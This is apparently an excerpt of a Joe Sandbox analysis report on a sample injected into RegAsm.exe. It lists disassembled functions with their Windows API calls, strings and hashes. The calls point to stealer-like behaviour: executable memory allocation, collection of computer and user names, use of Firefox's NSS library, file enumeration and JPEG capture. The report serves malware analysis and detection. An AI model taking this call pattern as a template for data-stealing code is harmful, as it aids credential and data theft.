Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 00406660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406DBE,00406DBE,00003000,00000040), ref: 00406706
VirtualAlloc.KERNEL32(00000000,00406DBE,00003000,00000040), ref: 00406753

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction ID: cfb135ee3c51d7510548447878d0c09a9e1e3ef004be55e97ea32f204b2e5fca
Opcode Fuzzy Hash: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction Fuzzy Hash: B741EE74A00209EFCB44CF58C494BADBBB1FF44314F1486A9E95AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00418D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction ID: c33170cd47b5ddaf33f3bd529e3e9bd0b8526aec605854159e3974d419e7fdd8
Opcode Fuzzy Hash: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction Fuzzy Hash: C0F01574C00208EBCB00EFA4E5496DDBB74EB11324F10819EE826673C0DB796A96DB89

Function 00418DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction ID: e82dd92a107a558878b8aedbded484b2d7625ea591a662ceffa58b28bb8b597d
Opcode Fuzzy Hash: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction Fuzzy Hash: EEE01A75A4034C7BDB91EB90CC96FEE737CDB44B11F004299BA0C5A1C0DE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 00409880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410759,?,?), ref: 00409888

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction ID: cd962e32a7d49cb5ce85c4f0a2f24118ebc1676ac18b43bdebb71eb25e5ca396
Opcode Fuzzy Hash: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction Fuzzy Hash: C8F054B5D10208FBDB00EFA4D846B9EBBB4EB08300F1084A9E905A7381E6749B14CB95

Non-executed Functions

Function 6C3D4840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C3B601B,?,00000000,?), ref: 6C3D486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C3D48A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C3D48BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C3D48DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C3D48F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C3D490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C3D4919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C3D493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3D4970
PORT_Alloc_Util.NSS3(00000001), ref: 6C3D49A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C3D49AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3D49D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C3D49F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C3D4A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C3D4A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C3D4A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C3D4A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C3D4A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C3D4A81
free.MOZGLUE(00000000), ref: 6C3D4AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C3D4ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C3D4ADC
free.MOZGLUE(00000000), ref: 6C3D4B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C3D4B33

Part of subcall function 6C3D4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3D413D
Part of subcall function 6C3D4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C3D4162
Part of subcall function 6C3D4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3D416B
Part of subcall function 6C3D4120: PL_strncasecmp.NSS3(2B=l,?,00000001), ref: 6C3D4187
Part of subcall function 6C3D4120: NSSUTIL_ArgSkipParameter.NSS3(2B=l), ref: 6C3D41A0
Part of subcall function 6C3D4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3D41B4
Part of subcall function 6C3D4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C3D41CC
Part of subcall function 6C3D4120: NSSUTIL_ArgFetchValue.NSS3(2B=l,?), ref: 6C3D4203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C3D4B53
free.MOZGLUE(00000000), ref: 6C3D4B94
free.MOZGLUE(?), ref: 6C3D4BA7
free.MOZGLUE(00000000), ref: 6C3D4BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3D4BC8

Strings

every, xrefs: 6C3D4A66
rootFlags, xrefs: 6C3D4AB9, 6C3D4B2E
hasRootCerts, xrefs: 6C3D4AD6
hasRootTrust, xrefs: 6C3D4B4D
timeout, xrefs: 6C3D4A38, 6C3D4A7B
slotFlags, xrefs: 6C3D4A22
askpw, xrefs: 6C3D4A4A

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 38ad5c84570bab32321d6e6c7427f996fbc8be5c0e2a5279871ab22f76ced7f9
Instruction ID: 6794d8bc86a0e0beeff9b862af1963f8008cb766b1b94cd5604bc03b8d0e7ec7
Opcode Fuzzy Hash: 38ad5c84570bab32321d6e6c7427f996fbc8be5c0e2a5279871ab22f76ced7f9
Instruction Fuzzy Hash: 9CC10776E053555BEB00DFA59C40BAE7BB8AF1624CF160028EC95A7B41E732F914CFA1

Function 004138B0 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004138CC
FindFirstFileA.KERNEL32(?,?), ref: 004138E3
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

%s\%s, xrefs: 0041397A
%s%s, xrefs: 00413AAD
%s\*, xrefs: 004138C0
%s\%s\%s, xrefs: 00413A4A
%s\%s, xrefs: 00413A6F
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-817767981
Opcode ID: c160324fee9f290d05effc3aa5b0fa9495973b4ff355d4639833e8346a244a75
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: c160324fee9f290d05effc3aa5b0fa9495973b4ff355d4639833e8346a244a75
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 00419010 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0041906C

Strings

image/jpeg, xrefs: 00419136

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
